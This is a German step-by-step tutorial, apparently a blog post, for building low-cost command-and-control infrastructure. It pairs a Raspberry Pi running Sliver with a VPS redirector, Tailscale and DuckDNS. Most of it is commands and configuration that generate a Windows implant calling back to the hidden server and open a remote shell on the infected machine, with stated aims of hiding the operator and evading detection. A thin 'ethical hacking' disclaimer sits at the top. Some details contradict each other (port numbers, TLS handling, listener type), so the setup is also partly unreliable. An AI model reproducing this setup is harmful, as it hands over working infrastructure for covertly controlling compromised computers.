# Günstige C2-Infrastruktur auf dem Raspberry Pi: Schritt-für-Schritt-Setup in einem Abend
Der Aufbau von Command-and-Control-Infrastruktur (C2) für Cybersicherheitsforschung wird oft mit teuren kommerziellen Lösungen in Verbindung gebracht. Diese Anleitung führt durch die Umsetzung eines vollständig funktionalen C2-Systems auf einem Raspberry Pi 4 mit Open-Source-Software. Der Schwerpunkt liegt auf niedrigen Kosten bei Erhalt essenzieller Funktionen: verschlüsselter Traffic, dynamisches DNS und Tarnung vor Erkennung. Dieses Material dient ausschließlich Bildungszwecken im Rahmen des ethischen Hackings.
Aufbau des günstigen C2-Systems
Für den Aufbau benötigen Sie Folgendes:
- Raspberry Pi 4 (4 GB RAM) — Haupt-Implantat-Server
- 32 GB SD-Karte
- VPS mit 2 GB RAM (ab 4 €/Monat) für den öffentlichen Endpunkt
- Tailscale — für sichere Tunnel zwischen den Komponenten
- Sliver v1.7.3 — Open-Source-Alternative zu Cobalt Strike
- DuckDNS — dynamischer DNS-Dienst
Die Systemarchitektur folgt diesem Ablauf: Implantat → duckdns.org:443 → VPS (HAProxy) → Tailscale → Raspberry Pi (Sliver:31337). Diese Konfiguration versteckt die echte IP des Pi hinter einer öffentlichen Domain und verschlüsselt den Traffic an jeder Station.
Einrichten des sicheren Tunnels mit Tailscale
Installieren Sie Tailscale auf dem Raspberry Pi und dem VPS auf die gleiche Weise. Führen Sie im Terminal aus:
curl -fsSL https://tailscale.com/install.sh | sh
sudo tailscale up
Nach der browserbasierten Authentifizierung weist das System jedem Knoten eine eindeutige Tailscale-IP zu (z. B. Pi: 100.92.XX.XXX, VPS: 100.106.XXX.XX). Testen Sie die Konnektivität zwischen den Knoten:
ping 100.92.XXX.XXX
Wichtig: Der Traffic zwischen den Komponenten ist end-to-end verschlüsselt und verhindert Abfangen an Zwischennodes. Tailscale übernimmt automatisch Routenaktualisierungen bei IP-Änderungen, was für die Verbindungsstabilität entscheidend ist.
Bereitstellen von Sliver auf dem Raspberry Pi
Laden Sie das Sliver-Binary für ARM64 herunter:
cd /tmp
wget https://github.com/BishopFox/sliver/releases/download/v1.7.3/sliver-server_linux_arm64
sudo install -m 755 sliver-server_linux_arm64 /usr/local/bin/sliver-server
Starten Sie den Server als Daemon und erlauben Sie Verbindungen von allen Interfaces:
sliver-server daemon --lhost 0.0.0.0 --lport 31338
Der Implantat-Listener läuft auf Port 31337. Für die Verwaltung nutzen Sie die Sliver-Konsole: sliver-server console. Stellen Sie sicher, dass Port 31337 in der Raspberry-Pi-Firewall geöffnet ist.
Konfigurieren von HAProxy auf dem VPS
Installieren Sie HAProxy auf dem virtuellen Server:
sudo apt install -y haproxy
Bearbeiten Sie die Konfigurationsdatei /etc/haproxy/haproxy.cfg:
global
log /dev/log local0
maxconn 10000
defaults
mode tcp
timeout connect 5s
timeout client 60s
timeout server 60s
frontend sliver_frontend
bind :443
default_backend sliver_backend
backend sliver_backend
server pi4 100.92.XXX.XXX:31337 check
Starten Sie den Dienst neu:
sudo systemctl enable haproxy
sudo systemctl start haproxy
HAProxy fungiert als TLS-Terminator und leitet Traffic von Port 443 an die interne Raspberry-Pi-Adresse über Tailscale weiter. Überprüfen Sie die Funktionalität: openssl s_client -connect your-domain.duckdns.org:443.
Integration von dynamischem DNS
Registrieren Sie eine Domain bei DuckDNS und weisen Sie sie der öffentlichen IP des VPS zu. Für automatische IP-Aktualisierungen fügen Sie ein Update-Skript zu cron hinzu. Überprüfen Sie die Domain-Auflösung:
dig your-domain.duckdns.org
Dieser Schritt ist entscheidend für die Verbindungsstabilität bei Änderungen der VPS-Extern-IP. DuckDNS sorgt dafür, dass die Domain immer auf die aktuelle Serveradresse auflöst.
Erstellen und Testen des Implantats
In der Sliver-Konsole erstellen Sie einen HTTP-Listener:
http --domain your-domain.duckdns.org --lhost 0.0.0.0 --lport 31337
Generieren Sie ein Windows-Implantat mit mTLS-Authentifizierung:
generate --mtls your-domain.duckdns.org:443 --format exe --os windows --save /tmp/sliver.exe
Übertragen Sie die Datei auf ein Test-Windows-10-System (deaktivieren Sie Abwehrmechanismen für Demo-Zwecke). Sobald das Implantat läuft, erscheint eine Session in der Sliver-Konsole:
[*] Session c5360843 UNIFORM_DISGUST - 100.106.xxx.xx:48190 (win10) - windows/amd64
Verbinden Sie sich mit der Session:
sessions -i c5360843
shell
Der Test bestätigt die Verbindungsresilienz: Sessions überleben Implantat-Neustarts oder Netzwerkänderungen.
Optimierung und Betrieb
Für bessere Zuverlässigkeit empfehlen wir:
- Richten Sie Sliver für den Autostart via systemd ein
- Fügen Sie HAProxy-Log-Überwachung hinzu
- Verwenden Sie separate Domains für verschiedene Listener
- Erneuern Sie regelmäßig Let's Encrypt-Zertifikate
Wichtige Befehle für den täglichen Betrieb:
# Starting Sliver
sliver-server daemon --lhost 0.0.0.0 --lport 31338
# Viewing active sessions
sessions
# Entering interactive shell
sessions -i <ID>
shell
Das System ermöglicht Implantat-Verwaltung über die Tailscale-Mobile-App und gibt Ihnen Zugriff von überall auf der Welt.
Wichtige Erkenntnisse
- Dual-Verschlüsselungsarchitektur (TLS + Tailscale) minimiert das Risiko der Traffic-Erkennung
- Monatliche Kosten beschränken sich auf den VPS (ab 4 €); alle anderen Software sind Open-Source
- Raspberry Pi 4 bewältigt bequem bis zu 50 gleichzeitige Sessions
- DuckDNS-Integration löst dynamische-IP-Probleme ohne Extrakosten
- Sliver ersetzt kommerzielle Tools vollständig bei grundlegenden Netzwerkkenntnissen
— Editorial Team
Noch keine Kommentare.